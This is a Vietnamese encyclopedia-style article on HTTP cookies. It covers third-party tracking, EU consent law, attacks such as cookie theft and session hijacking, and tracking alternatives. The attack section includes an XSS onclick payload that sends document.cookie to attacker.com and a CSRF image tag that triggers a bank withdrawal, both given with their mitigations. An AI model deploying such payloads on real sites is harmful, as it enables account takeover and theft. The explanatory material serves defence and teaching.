Cookie có những tác động quan trọng đối với quyền riêng tư và nặc danh của người dùng web. Trong khi cookie chỉ được gửi đến máy chủ thiết lập chúng hoặc máy chủ trong cùng miền Internet, một trang web có thể chứa hình ảnh hoặc các thành phần khác được lưu trữ trên máy chủ thuộc các miền khác. Cookie được thiết lập trong quá trình truy xuất các thành phần này được gọi là cookie bên thứ ba. Cookie bên thứ ba thuộc về một miền khác so với miền được hiển thị trên thanh địa chỉ. Loại cookie này thường xuất hiện khi các trang web có nội dung từ các trang web bên ngoài, chẳng hạn như quảng cáo banner. Điều này tạo ra khả năng theo dõi lịch sử duyệt web của người dùng và được sử dụng bởi nhà quảng cáo để phục vụ quảng cáo liên quan cho từng người dùng.

Ví dụ, giả sử một người dùng truy cập vào trang web www.example.org. Trang web này chứa một quảng cáo từ ad.foxytracking.com, khi tải xuống, thiết lập một cookie thuộc về miền quảng cáo (ad.foxytracking.com). Sau đó, người dùng truy cập vào một trang web khác, www.foo.com, cũng chứa một quảng cáo từ ad.foxytracking.com và thiết lập một cookie thuộc về miền đó (ad.foxytracking.com). Cuối cùng, cả hai cookie này sẽ được gửi đến nhà quảng cáo khi tải quảng cáo của họ hoặc truy cập trang web của họ. Nhà quảng cáo sau đó có thể sử dụng các cookie này để xây dựng lịch sử duyệt web của người dùng trên tất cả các trang web có quảng cáo từ nhà quảng cáo này, thông qua việc sử dụng trường tiêu đề HTTP referer.

Kể từ năm 2014, một số trang web đã thiết lập các cookie có thể đọc được cho hơn 100 miền bên thứ ba.^[60] Trung bình, một trang web duy nhất thiết lập 10 cookie, với số lượng cookie tối đa (bên thứ nhất và bên thứ ba) lên đến hơn 800.^[61]

Các tiêu chuẩn cũ hơn cho cookie, RFC 2109^[17] và RFC 2965, khuyến nghị rằng trình duyệt nên bảo vệ quyền riêng tư của người dùng và không cho phép chia sẻ cookie giữa các máy chủ mặc định. Tuy nhiên, tiêu chuẩn mới hơn, RFC 6265, cho phép rõ ràng các trình duyệt người dùng triển khai bất kỳ chính sách cookie bên thứ ba nào mà họ muốn. Hầu hết các trình duyệt web hiện đại đều chứa các cài đặt quyền riêng tư có thể chặn cookie bên thứ ba, và một số trình duyệt hiện đã chặn tất cả các cookie bên thứ ba theo mặc định – tính đến tháng 7 năm 2020, các trình duyệt đó bao gồm Apple Safari,^[62] Firefox,^[63] và Brave.^[64] Safari cho phép các trang web nhúng sử dụng Storage Access API để yêu cầu quyền thiết lập cookie bên thứ nhất. Vào tháng 5 năm 2020, Google Chrome đã giới thiệu các tính năng mới để mặc định chặn cookie bên thứ ba trong chế độ Incognito để duyệt web riêng tư, làm cho việc chặn trở thành tùy chọn trong quá trình duyệt web thông thường. Cập nhật này cũng thêm một tùy chọn để chặn cookie bên thứ nhất.^[65] Chrome dự định bắt đầu chặn cookie bên thứ ba theo mặc định vào cuối năm 2024.^[66]

Quyền riêng tư (Privacy)

• Xem thêm: Do Not Track

Khả năng xây dựng hồ sơ người dùng là một mối đe dọa đối với quyền riêng tư, đặc biệt khi việc theo dõi được thực hiện trên nhiều miền sử dụng cookie bên thứ ba. Vì vậy, một số quốc gia đã có lập luật về cookie.

Các nhà điều hành trang web không tiết lộ việc sử dụng cookie bên thứ ba cho người tiêu dùng có nguy cơ gây tổn thương niềm tin của người tiêu dùng nếu việc sử dụng cookie được phát hiện. Có sự tiết lộ rõ ràng (như trong chính sách bảo mật) thường loại bỏ bất kỳ tác động tiêu cực nào của việc khám phá cookie đó.^[67]

Chính phủ Hoa Kỳ đã đề ra các quy định nghiêm ngặt về việc thiết lập cookie vào năm 2000 sau khi tiết lộ rằng văn phòng chính sách ma túy của Nhà Trắng sử dụng cookie để theo dõi người dùng máy tính xem quảng cáo chống ma túy trực tuyến của nó. Năm 2002, nhà hoạt động bảo vệ quyền riêng tư Daniel Brandt phát hiện ra rằng CIA đã để lại cookie lâu dài trên các máy tính đã truy cập vào trang web của nó. Khi được thông báo rằng việc này vi phạm chính sách, CIA tuyên bố rằng cookie này không được thiết lập cố ý và đã ngừng thiết lập chúng. Vào ngày 25 tháng 12 năm 2005, Brandt phát hiện ra rằng Cơ quan An ninh Quốc gia (NSA) đã để lại hai cookie lâu dài trên máy tính của khách truy cập do một nâng cấp phần mềm. Sau khi được thông báo, NSA ngay lập tức vô hiệu hóa các cookie đó.^[68]

Chỉ thị về Cookie của EU (EU cookie directive)

Năm 2002, Liên minh Châu Âu ban hành “Chỉ thị về Quyền riêng tư và Truyền thông Điện tử” (Chỉ thị về cookie), một chính sách yêu cầu sự đồng ý của người dùng cuối cho việc đặt cookie và các công nghệ tương tự để lưu trữ và truy cập thông tin trên thiết bị của người dùng.^[69][70] Cụ thể, Điều 5 Khoản 3 quy định rằng việc lưu trữ dữ liệu không cần thiết từ kỹ thuật trên máy tính của người dùng chỉ được thực hiện nếu người dùng được cung cấp thông tin về cách sử dụng dữ liệu này và có khả năng từ chối việc lưu trữ này. Chỉ thị không yêu cầu người dùng phê duyệt hoặc nhận được thông báo về việc sử dụng cookie mà cần thiết cho việc cung cấp dịch vụ mà họ đã yêu cầu, ví dụ như lưu trữ cài đặt, phiên đăng nhập hoặc ghi nhớ các mục trong giỏ hàng của người dùng.^[71]

Năm 2009, luật này đã được sửa đổi thông qua Chỉ thị 2009/136/EC, bao gồm một thay đổi trong Điều 5, Khoản 3. Thay vì cho phép người dùng tắt lưu trữ cookie, Chỉ thị sửa đổi yêu cầu nhận được sự đồng ý để lưu trữ cookie.[70] Định nghĩa về sự đồng ý được tham khảo theo định nghĩa trong luật bảo vệ dữ liệu của Liên minh Châu Âu, đầu tiên là Chỉ thị bảo vệ dữ liệu 1995 và sau đó là Quy định chung về bảo vệ dữ liệu (GDPR). Khi định nghĩa về sự đồng ý được củng cố trong văn bản của GDPR, điều này đã làm tăng chất lượng của sự đồng ý được yêu cầu từ những người lưu trữ và truy cập thông tin như cookie trên thiết bị của người dùng. Tuy nhiên, trong một trường hợp được giải quyết dưới Chỉ thị bảo vệ dữ liệu, Tòa án Công lý của Liên minh Châu Âu sau đó đã xác nhận rằng luật cũ ngụ ý sự đồng ý cùng chất lượng mạnh mẽ giống như công cụ hiện tại.^[72] Ngoài yêu cầu về sự đồng ý từ việc lưu trữ hoặc truy cập thông tin trên thiết bị người dùng, thông tin trong nhiều cookie sẽ được coi là dữ liệu cá nhân theo GDPR một mình và sẽ yêu cầu cơ sở pháp lý để xử lý. Điều này đã xảy ra kể từ Chỉ thị bảo vệ dữ liệu 1995, sử dụng định nghĩa tương tự về dữ liệu cá nhân, mặc dù GDPR trong những lời giải thích tại Nhắc nhở 30 đã làm rõ rằng các nhận dạng cookie được bao gồm. Trong khi không phải tất cả việc xử lý dữ liệu theo GDPR đòi hỏi sự đồng ý, nhưng đặc điểm của quảng cáo hành vi có nghĩa là khó hoặc không thể bảo vệ dưới bất kỳ cơ sở pháp lý nào khác.^[73][74]

Sự đồng ý theo sự kết hợp của GDPR và Chỉ thị về bảo mật điện tử phải đáp ứng một số điều kiện liên quan đến cookie.^[75] Nó phải được cấp tự do và không mơ hồ: các ô được tích sẵn đã bị cấm theo cả Chỉ thị bảo vệ dữ liệu 1995^[72] và GDPR (Nhắc nhở 32).^[76] GDPR cụ thể yêu cầu sự đồng ý phải được “dễ rút lại như dễ đưa ra”, có nghĩa là nút từ chối tất cả phải dễ tiếp cận về mặt nhấp chuột và hiển thị như nút chấp nhận tất cả.[75] Nó phải cụ thể và được thông báo, có nghĩa là sự đồng ý liên quan đến mục đích cụ thể cho việc sử dụng dữ liệu này và tất cả các tổ chức tìm kiếm sử dụng sự đồng ý này phải được đặt tên cụ thể.^[77][78] Tòa án Công lý của Liên minh Châu Âu cũng đã quyết định rằng sự đồng ý phải là “hiệu quả và kịp thời”, có nghĩa là nó phải được thu thập trước khi cookie được đặt và quá trình xử lý dữ liệu bắt đầu thay vì sau đó.^[79]

Phản ứng từ ngành công nghiệp đã phần lớn là tiêu cực. Robert Bond của công ty luật Speechly Bircham mô tả tác động của việc này là “rộng lớn và vô cùng khó khăn” đối với “tất cả các công ty tại Vương quốc Anh”. Simon Davis của Privacy International lập luận rằng việc thực thi đúng đắn sẽ “phá hủy toàn bộ ngành công nghiệp”.^[80] Tuy nhiên, các học giả lưu ý rằng tính gánh nặng của các cửa sổ thông báo cookie xuất phát từ việc cố gắng tiếp tục hoạt động mô hình kinh doanh thông qua các yêu cầu rườm rà có thể không tương thích với GDPR.^[73]

Cả các nghiên cứu học thuật và các cơ quan quản lý đều mô tả việc không tuân thủ pháp luật trên diện rộng. Một nghiên cứu thu thập thông tin từ 10.000 trang web tại Vương quốc Anh cho thấy chỉ có 11,8% các trang tuân thủ các yêu cầu pháp lý tối thiểu, với chỉ có 33,4% các trang web nghiên cứu cung cấp cơ chế từ chối cookie dễ sử dụng như việc chấp nhận chúng.^[75] Một nghiên cứu với 17.000 trang web phát hiện rằng 84% trang vi phạm tiêu chí này, và ngoài ra còn nhiều trang web đặt cookie bên thứ ba mà không có bất kỳ thông báo nào.^[81] Cơ quan quản lý Vương quốc Anh, Văn phòng Ủy viên Thông tin, đã tuyên bố vào năm 2019 rằng “Khung tranh cãi và đồng ý” từ nhóm công nghệ quảng cáo Interactive Advertising Bureau là “không đủ để đảm bảo sự minh bạch và xử lý công bằng của dữ liệu cá nhân liên quan và do đó cũng không đủ để cung cấp cho sự đồng ý tự nguyện và thông tin miễn phí và thông minh, với những tác động liên quan đến tuân thủ PECR [e-Privacy].”^[77] Nhiều công ty bán các giải pháp tuân thủ (Nền tảng Quản lý Đồng ý) cho phép cấu hình chúng theo cách rõ ràng vi phạm pháp luật, điều mà các học giả đã lưu ý tạo ra các câu hỏi về việc phân chịu trách nhiệm phù hợp.^[82]

Một quy chuẩn W3C có tên gọi P3P đã được đề xuất để các máy chủ truyền thông chính sách riêng tư của họ cho trình duyệt, cho phép xử lý tự động và có thể được cấu hình bởi người dùng. Tuy nhiên, ít trang web triển khai quy chuẩn này và W3C đã ngừng làm việc trên quy chuẩn này.^[83]

Cookie bên thứ ba có thể bị chặn bởi hầu hết các trình duyệt để tăng cường quyền riêng tư và giảm sự theo dõi bởi các công ty quảng cáo và theo dõi mà không ảnh hưởng tiêu cực đến trải nghiệm web của người dùng trên tất cả các trang web. Một số trang web thực hiện ‘cửa hàng cookie’ (cookie walls), yêu cầu phải cho phép cookie để truy cập vào trang web, thông qua việc kỹ thuật trong trình duyệt hoặc bằng cách nhấn ‘đồng ý’, hoặc cả hai.^[84] Năm 2020, Hội đồng Bảo vệ Dữ liệu Châu Âu, gồm tất cả các cơ quan bảo vệ dữ liệu của EU, tuyên bố rằng cửa hàng cookie là bất hợp pháp.

Để đảm bảo việc đồng ý được tự do, truy cập vào dịch vụ và chức năng không được điều kiện bằng việc yêu cầu người dùng đồng ý lưu trữ thông tin hoặc truy cập vào thông tin đã được lưu trữ trên thiết bị kết thúc của người dùng (còn được gọi là “cửa hàng cookie”).[85]

Nhiều nhà quảng cáo cung cấp tùy chọn bỏ chọn quảng cáo hành vi, với một cookie tổng quát trong trình duyệt để ngăn chặn quảng cáo hành vi.^[86][87] Tuy nhiên, điều này thường không hiệu quả đối với nhiều hình thức theo dõi, chẳng hạn như theo dõi từ bên thứ nhất đang trở nên phổ biến để tránh ảnh hưởng của việc chặn cookie bên thứ ba từ trình duyệt.^[88][89] Hơn nữa, nếu cài đặt như vậy khó khăn hơn việc chấp nhận việc theo dõi, nó vi phạm các điều kiện của Chỉ thị về quyền riêng tư và truyền thông điện tử.^[75]

Đánh cắp Cookie (Cookie theft) và Chiếm đoạt phiên làm việc (Session hijacking)

Hầu hết các trang web sử dụng cookie như các thông tin xác định duy nhất cho các phiên làm việc của người dùng, vì các phương pháp khác để xác định người dùng trên web có những hạn chế và lỗ hổng. Nếu một trang web sử dụng cookie như thông tin xác định phiên làm việc, kẻ tấn công có thể giả mạo các yêu cầu của người dùng bằng cách đánh cắp toàn bộ cookie của nạn nhân. Từ quan điểm của máy chủ web, một yêu cầu từ một kẻ tấn công sẽ có cùng xác thực như các yêu cầu của nạn nhân; do đó, yêu cầu được thực hiện thay mặt cho phiên làm việc của nạn nhân.

Dưới đây là các kịch bản khác nhau về việc đánh cắp cookie và chiếm đoạt phiên làm việc của người dùng (thậm chí mà không cần đánh cắp cookie người dùng) hoạt động trên các trang web chỉ dựa vào cookie HTTP để xác định người dùng

Nghe trộm mạng (Network eavesdropping)

Giao thông trên một mạng có thể bị chặn và đọc bởi các máy tính khác trên mạng ngoại trừ người gửi và người nhận (đặc biệt là trên mạng Wi-Fi không mã hóa hoặc mở). Giao thông này bao gồm các cookie được gửi trong các phiên HTTP không mã hóa thông thường. Khi giao thông mạng không được mã hóa, kẻ tấn công có thể đọc được các thông tin giao tiếp của người dùng khác trên mạng, bao gồm cả cookie HTTP và toàn bộ nội dung cuộc trò chuyện, để thực hiện cuộc tấn công người chủ trung gian.

Một kẻ tấn công có thể sử dụng các cookie bị chặn để giả mạo người dùng và thực hiện một nhiệm vụ độc hại, như chuyển tiền ra khỏi tài khoản ngân hàng của nạn nhân.

Vấn đề này có thể được giải quyết bằng cách bảo mật giao tiếp giữa máy tính của người dùng và máy chủ bằng cách sử dụng Bảo mật Lớp Vận chuyển (giao thức HTTPS) để mã hóa kết nối. Một máy chủ có thể chỉ định cờ Secure khi thiết lập một cookie, điều này sẽ làm cho trình duyệt gửi cookie chỉ qua một kênh được mã hóa, chẳng hạn như một kết nối TLS. ^[42]

Phát tán tên miền phụ giả (Publishing false sub-domain): Đầu độc DNS Cache (DNS cache poisoning)

Nếu một kẻ tấn công có thể làm cho một máy chủ DNS lưu trữ một mục DNS giả (gọi là ô nhiễm bộ nhớ cache DNS), thì điều này có thể cho phép kẻ tấn công truy cập vào cookie của người dùng. Ví dụ, kẻ tấn công có thể sử dụng ô nhiễm bộ nhớ cache DNS để tạo một mục DNS giả là f12345.www.example.com trỏ đến địa chỉ IP của máy chủ của kẻ tấn công. Kẻ tấn công sau đó có thể đăng một URL hình ảnh từ máy chủ của mình (ví dụ: http://f12345.www.example.com/img_4_cookie.jpg). Những người dùng đọc tin nhắn của kẻ tấn công sẽ tải xuống hình ảnh này từ f12345.www.example.com. Vì f12345.www.example.com là một phụ miền của www.example.com, trình duyệt của người dùng sẽ gửi tất cả các cookie liên quan đến example.com đến máy chủ của kẻ tấn công.

Nếu kẻ tấn công có thể thực hiện được điều này, thì thông thường lỗi này thuộc về các nhà cung cấp dịch vụ Internet vì họ không bảo mật đúng các máy chủ DNS của mình. Tuy nhiên, mức độ nghiêm trọng của cuộc tấn công này có thể giảm đi nếu trang web mục tiêu sử dụng cookie bảo mật. Trong trường hợp này, kẻ tấn công sẽ phải đối mặt với thách thức bổ sung^[90] là thu thập chứng chỉ TLS của trang web mục tiêu từ một cơ quan chứng chỉ, vì cookie bảo mật chỉ có thể được truyền qua một kết nối được mã hóa. Mà không có chứng chỉ TLS phù hợp, trình duyệt của người dùng sẽ hiển thị một thông báo cảnh báo về chứng chỉ không hợp lệ của kẻ tấn công, điều này sẽ giúp ngăn người dùng truy cập vào trang web giả mạo của kẻ tấn công và gửi cookie cho kẻ tấn công.

Cross-site scripting: Cookie theft

• Xem thêm: Cross-site scripting

Cookies cũng có thể bị đánh cắp bằng một kỹ thuật được gọi là cross-site scripting. Điều này xảy ra khi một kẻ tấn công tận dụng một trang web cho phép người dùng đăng tải nội dung HTML và JavaScript chưa được lọc. Bằng cách đăng tải mã HTML và JavaScript độc hại, kẻ tấn công có thể khiến trình duyệt web của nạn nhân gửi các cookie của nạn nhân đến một trang web do kẻ tấn công kiểm soát.

Ví dụ, một kẻ tấn công có thể đăng một thông điệp trên trang web www.example.com với liên kết sau đây:

<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>

Khi người dùng khác nhấp vào liên kết này, trình duyệt thực thi đoạn mã trong thuộc tính onclick, do đó thay thế chuỗi document.cookie bằng danh sách cookie có thể truy cập từ trang hiện tại. Kết quả là, danh sách cookie này được gửi đến máy chủ attacker.com. Nếu bài đăng độc hại của kẻ tấn công được đặt trên một trang web HTTPS https://www.example.com, các cookie bảo mật cũng sẽ được gửi đến attacker.com dưới dạng văn bản thuần.

Đó là trách nhiệm của các nhà phát triển trang web để lọc bỏ mã độc hại như vậy.

Các cuộc tấn công như vậy có thể được giảm thiểu bằng cách sử dụng cookie HttpOnly. Những cookie này sẽ không thể truy cập bằng các ngôn ngữ scripting phía máy khách như JavaScript và do đó, kẻ tấn công sẽ không thể thu thập được những cookie này.

Cross-site scripting: Proxy request

Trong các phiên bản cũ của nhiều trình duyệt, có lỗ hổng bảo mật trong việc triển khai giao diện API XMLHttpRequest. API này cho phép các trang chỉ định một máy chủ proxy sẽ nhận được phản hồi, và máy chủ proxy này không phải tuân thủ chính sách nguồn gốc giống nhau. Ví dụ, một nạn nhân đang đọc bài đăng của kẻ tấn công trên www.example.com và đoạn mã của kẻ tấn công được thực thi trên trình duyệt của nạn nhân. Đoạn mã tạo ra một yêu cầu đến www.example.com với máy chủ proxy attacker.com. Vì yêu cầu là cho www.example.com, tất cả các cookie example.com sẽ được gửi cùng với yêu cầu nhưng đi qua máy chủ proxy của kẻ tấn công. Do đó, kẻ tấn công sẽ có thể thu thập được các cookie của nạn nhân.

Cuộc tấn công này sẽ không hoạt động với các cookie bảo mật, vì chúng chỉ có thể được truyền qua các kết nối HTTPS và giao thức HTTPS quy định mã hóa điểm-đến-điểm (nghĩa là thông tin được mã hóa trên trình duyệt của người dùng và được giải mã trên máy chủ đích). Trong trường hợp này, máy chủ proxy chỉ nhìn thấy các byte HTTP gốc đã được mã hóa.

Tấn công giả mạo liên trang (Cross-site request forgery)

• Xem thêm: Cross-site request forgery

Ví dụ, Bob có thể đang duyệt diễn đàn trò chuyện mà người dùng khác, Mallory, đã đăng một tin nhắn. Giả sử Mallory đã tạo một phần tử hình ảnh HTML trỏ đến một hành động trên trang web ngân hàng của Bob (thay vì một tệp hình ảnh), ví dụ như sau:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Nếu ngân hàng của Bob lưu trữ thông tin xác thực của anh ấy trong một cookie và cookie chưa hết hạn, khi trình duyệt của Bob tải hình ảnh, nó sẽ gửi biểu mẫu rút tiền với cookie của Bob, từ đó cho phép thực hiện giao dịch mà không cần sự chấp thuận từ Bob.

Cookiejacking

Cookiejacking là một cuộc tấn công nhằm vào trình duyệt Internet Explorer, cho phép kẻ tấn công đánh cắp cookie phiên của người dùng bằng cách lừa người dùng kéo một đối tượng trên màn hình.^[91] Microsoft cho rằng lỗ hổng này có mức độ rủi ro thấp do “mức độ tương tác của người dùng yêu cầu” ^[91] và cần phải có người dùng đã đăng nhập vào trang web mà cookie của họ bị đánh cắp.^[92] Mặc dù vậy, một nhà nghiên cứu đã thử cuộc tấn công này với 150 người bạn trên Facebook và thu được cookie của 80 người thông qua kỹ thuật xã hội. ^[91]

Nhược điểm (Drawbacks) của cookies

Ngoài những vấn đề liên quan đến quyền riêng tư, cookies cũng có một số hạn chế kỹ thuật. Cụ thể, chúng không luôn định danh người dùng một cách chính xác, chúng có thể được sử dụng cho các cuộc tấn công an ninh và thường không phù hợp với kiến trúc phần mềm REST (Representational State Transfer). ^[93][94]

Nhận diện không chính xác (Inaccurate identification)

Nếu trên một máy tính sử dụng nhiều trình duyệt khác nhau, mỗi trình duyệt thường có một không gian lưu trữ riêng cho cookies. Do đó, cookies không định danh một người, mà là sự kết hợp giữa một tài khoản người dùng, một máy tính và một trình duyệt web. Do đó, bất kỳ ai sử dụng nhiều tài khoản, máy tính hoặc trình duyệt khác nhau sẽ có nhiều bộ cookies khác nhau. ^[95]

Tương tự, cookies không phân biệt được giữa các người dùng khác nhau chia sẻ cùng một tài khoản người dùng, máy tính và trình duyệt.

Thay thế của cookies

Một số hoạt động có thể được thực hiện bằng cookies cũng có thể được thực hiện bằng cơ chế khác.

Xác thực và quản lý phiên (Authentication & session management)

JSON Web Tokens

JSON Web Token (JWT) là một gói thông tin tự chứa có thể được sử dụng để lưu trữ thông tin về danh tính và xác thực người dùng. Điều này cho phép chúng được sử dụng thay thế cho các session cookies. Khác với cookies, mà được tự động gắn kết vào mỗi yêu cầu HTTP bởi trình duyệt, JWTs phải được gắn kết một cách rõ ràng vào mỗi yêu cầu HTTP bởi ứng dụng web.

Xác thực HTTP (HTTP authentication)

Giao thức HTTP bao gồm các giao thức xác thực truy cập cơ bản (basic access authentication) và xác thực truy cập digest (digest access authentication), cho phép truy cập vào một trang web chỉ khi người dùng đã cung cấp đúng tên người dùng và mật khẩu. Nếu máy chủ yêu cầu thông tin đăng nhập này để cấp quyền truy cập vào một trang web, trình duyệt sẽ yêu cầu thông tin đăng nhập từ người dùng và sau khi nhận được, trình duyệt sẽ lưu trữ và gửi chúng trong mỗi yêu cầu trang web tiếp theo. Thông tin này có thể được sử dụng để theo dõi người dùng.

URL (chuỗi truy vấn – query string)

Phần chuỗi truy vấn của URL là phần thường được sử dụng cho mục đích này, nhưng cũng có thể sử dụng các phần khác. Cơ chế phiên làm việc của Java Servlet và PHP đều sử dụng phương pháp này nếu cookie không được kích hoạt.

Phương pháp này bao gồm máy chủ web gắn thêm chuỗi truy vấn chứa một định danh phiên riêng biệt vào tất cả các liên kết bên trong một trang web. Khi người dùng nhấp vào một liên kết, trình duyệt gửi chuỗi truy vấn đến máy chủ, cho phép máy chủ xác định người dùng và duy trì trạng thái.

Loại chuỗi truy vấn này rất giống với cookie vì cả hai đều chứa các mảnh thông tin tùy ý do máy chủ chọn và cả hai đều được gửi lại máy chủ trong mỗi yêu cầu. Tuy nhiên, có một số khác biệt. Vì chuỗi truy vấn là một phần của URL, nếu URL đó được sử dụng lại sau này, cùng một mảnh thông tin được gắn kết sẽ được gửi đến máy chủ, điều này có thể gây nhầm lẫn. Ví dụ, nếu các sở thích của một người dùng được mã hóa trong chuỗi truy vấn của một URL và người dùng gửi URL này cho người dùng khác qua email, các sở thích đó sẽ được sử dụng cho người dùng khác đó.

Ngoài ra, nếu cùng một người dùng truy cập cùng một trang nhiều lần từ các nguồn khác nhau, không có đảm bảo rằng cùng một chuỗi truy vấn sẽ được sử dụng mỗi lần. Ví dụ, nếu một người dùng truy cập một trang bằng cách đến từ một trang trong nội bộ của trang web trong lần đầu tiên, và sau đó truy cập cùng một trang bằng cách đến từ một công cụ tìm kiếm bên ngoài trong lần thứ hai, các chuỗi truy vấn có thể khác nhau. Nếu sử dụng cookie trong tình huống này, các cookie sẽ giống nhau.

Nhược điểm khác của chuỗi truy vấn liên quan đến bảo mật. Lưu trữ dữ liệu nhận dạng phiên trong chuỗi truy vấn cho phép tấn công cố định phiên, tấn công ghi log referer và các cuộc tấn công bảo mật khác. Chuyển đổi các định danh phiên dưới dạng cookie HTTP an toàn hơn.

Các trường biểu mẫu ẩn (Hidden form fields)

Một hình thức khác của việc theo dõi phiên là sử dụng các biểu mẫu web với các trường ẩn. Kỹ thuật này rất giống với việc sử dụng chuỗi truy vấn URL để lưu trữ thông tin và có nhiều lợi ích và nhược điểm tương tự. Trên thực tế, nếu biểu mẫu được xử lý bằng phương thức HTTP GET, thì kỹ thuật này tương tự việc sử dụng chuỗi truy vấn URL, vì phương thức GET thêm các trường biểu mẫu vào URL như một chuỗi truy vấn. Nhưng hầu hết các biểu mẫu được xử lý bằng phương thức HTTP POST, điều này làm cho thông tin biểu mẫu, bao gồm các trường ẩn, được gửi trong phần thân yêu cầu HTTP, không phải là một phần của URL hoặc cookie.

Phương pháp này mang đến hai lợi ích từ quan điểm của người theo dõi. Thứ nhất, việc đặt thông tin theo dõi trong phần thân yêu cầu HTTP thay vì trong URL đồng nghĩa với việc thông tin đó sẽ không được người dùng thông thường nhận thấy. Thứ hai, thông tin phiên không được sao chép khi người dùng sao chép URL (để đánh dấu trang hoặc gửi qua email, ví dụ).

window.name DOM property

Tất cả các trình duyệt web hiện tại đều có thể lưu trữ một lượng dữ liệu khá lớn (từ 2 đến 32 MB) thông qua JavaScript sử dụng thuộc tính DOM window.name. Dữ liệu này có thể được sử dụng thay thế cho cookie phiên. Kỹ thuật này có thể kết hợp với các đối tượng JSON/JavaScript để lưu trữ các bộ biến phiên phức tạp trên phía máy khách.

Khuyết điểm là mỗi cửa sổ hoặc tab riêng lẻ ban đầu sẽ có thuộc tính window.name trống khi mở.

Về mặt một số khía cạnh, điều này có thể an toàn hơn cookie do nội dung của nó không tự động được gửi đến máy chủ trong mỗi yêu cầu như cookie, vì vậy nó không dễ bị tấn công bởi các cuộc tấn công theo dõi cookie trên mạng.

Theo dõi (Tracking)

Địa chỉ (IP address)

Một số người dùng có thể bị theo dõi dựa trên địa chỉ IP của máy tính yêu cầu trang web. Máy chủ biết địa chỉ IP của máy tính chạy trình duyệt (hoặc proxy nếu có) và lý thuyết có thể liên kết phiên của người dùng với địa chỉ IP này.

Tuy nhiên, địa chỉ IP không phải là một cách đáng tin cậy để theo dõi phiên hoặc nhận dạng người dùng. Nhiều máy tính được thiết kế để sử dụng bởi một người dùng duy nhất, chẳng hạn như máy tính văn phòng hoặc máy tính gia đình, đều đằng sau một trình chuyển đổi địa chỉ mạng (NAT). Điều này có nghĩa là một số máy tính sẽ chia sẻ cùng một địa chỉ IP công cộng. Hơn nữa, một số hệ thống, chẳng hạn như Tor, được thiết kế để giữ cho việc lưu giữ danh tính trên Internet ẩn danh, làm cho việc theo dõi qua địa chỉ IP không khả thi, không thể thực hiện hoặc gây nguy hiểm về mặt bảo mật.

ETag

• Xem thêm: HTTP ETag § Tracking using ETags

Vì ETag được lưu vào bộ nhớ cache của trình duyệt và được gửi lại trong các yêu cầu tiếp theo cho cùng một tài nguyên, một máy chủ theo dõi có thể đơn giản là lặp lại bất kỳ ETag nào nhận được từ trình duyệt để đảm bảo rằng ETag được gán sẽ tồn tại mãi mãi (tương tự như cookie lưu trữ lâu dài). Các trường header caching bổ sung cũng có thể tăng cường việc bảo tồn dữ liệu ETag.

ETag có thể bị xóa trong một số trình duyệt bằng cách xóa bộ nhớ cache của trình duyệt.

Cache trình duyệt (Browser cache)

• Xem thêm: Web cache

Bộ nhớ cache của trình duyệt cũng có thể được sử dụng để lưu trữ thông tin có thể được sử dụng để theo dõi người dùng cá nhân. Kỹ thuật này tận dụng việc trình duyệt web sẽ sử dụng các tài nguyên được lưu trữ trong bộ nhớ cache thay vì tải chúng từ trang web khi xác định rằng bộ nhớ cache đã có phiên bản mới nhất của tài nguyên.

Ví dụ, một trang web có thể phục vụ một tệp JavaScript chứa mã để thiết lập một định danh duy nhất cho người dùng (ví dụ: var userId = 3243242;). Sau khi người dùng truy cập lần đầu, mỗi lần người dùng truy cập trang, tệp này sẽ được tải từ bộ nhớ cache thay vì tải xuống từ máy chủ. Do đó, nội dung của nó sẽ không bao giờ thay đổi.

Vân tay trình duyệt (Browser fingerprint)

• Xem thêm: Device fingerprint

Một “dấu vân tay trình duyệt” là thông tin được thu thập về cấu hình của một trình duyệt, chẳng hạn như số phiên bản, độ phân giải màn hình và hệ điều hành, nhằm mục đích xác định danh tính. Dấu vân tay có thể được sử dụng để xác định toàn bộ hoặc một phần người dùng hoặc thiết bị cá nhân, ngay cả khi cookie đã bị tắt.

Thông tin cấu hình cơ bản của trình duyệt đã được các dịch vụ phân tích web thu thập từ lâu nhằm đo lường chính xác lưu lượng truy cập web từ con người thật và loại bỏ các hình thức gian lận như gian lận nhấp chuột. Với sự trợ giúp của ngôn ngữ kịch bản phía máy khách, việc thu thập các tham số tinh vi hơn là hoàn toàn có thể.^[96][97] Việc tổ hợp thông tin như vậy thành một chuỗi duy nhất tạo thành một dấu vân tay thiết bị. Năm 2010, EFF đã đo lường ít nhất 18,1 bit của ngẫu nhiên có thể có từ việc thu thập dấu vân tay trình duyệt.^[98] Canvas fingerprinting, một kỹ thuật mới hơn, tuyên bố thêm 5,7 bit nữa.

Lưu trữ Web (Web storage)

• Xem thêm: Web storage

Một số trình duyệt web hỗ trợ các cơ chế bền vững cho phép trang web lưu trữ thông tin cục bộ để sử dụng sau này.

Tiêu chuẩn HTML5 (mà hầu hết các trình duyệt web hiện đại hỗ trợ một phần) bao gồm một API JavaScript gọi là Web storage cho phép hai loại lưu trữ: lưu trữ cục bộ và lưu trữ phiên. Lưu trữ cục bộ hoạt động tương tự như cookie bền vững trong khi lưu trữ phiên hoạt động tương tự như cookie phiên, ngoại trừ việc lưu trữ phiên được liên kết với tuổi thọ của một tab/cửa sổ cụ thể (gọi là phiên trang), không phải toàn bộ phiên trình duyệt như cookie phiên.^[99]

Internet Explorer hỗ trợ thông tin bền vững trong lịch sử của trình duyệt ^[100], trong danh sách ưa thích của trình duyệt, trong một kho XML (dữ liệu người dùng) hoặc trực tiếp trong một trang web được lưu trữ trên đĩa.

Một số tiện ích trình duyệt web cũng bao gồm các cơ chế bền vững. Ví dụ, Adobe Flash có đối tượng chia sẻ cục bộ (Local shared object) và Microsoft Silverlight có lưu trữ cô lập (Isolated storage). ^[101]

Nguồn (Sources)

• Anonymous, 2011. Cookiejacking Attack Steals Website Access Credentials. Informationweek – Online, pp. Informationweek – Online, May 26, 2011.

Link tham khảo (External links)

• RFC 6265, the current official specification for HTTP cookies
• HTTP cookies, Mozilla Developer Network
• Using cookies via ECMAScript, Mozilla Developer Network
• How Internet Cookies Work at HowStuffWorks
• Cookies at the Electronic Privacy Information Center (EPIC)
• Mozilla Knowledge-Base: Cookies
• Cookie Domain, explain in detail how cookie domains are handled in current major browsers
• Cookie Stealing – Michael Pound
• Check cookies for compliance with EU cookie directive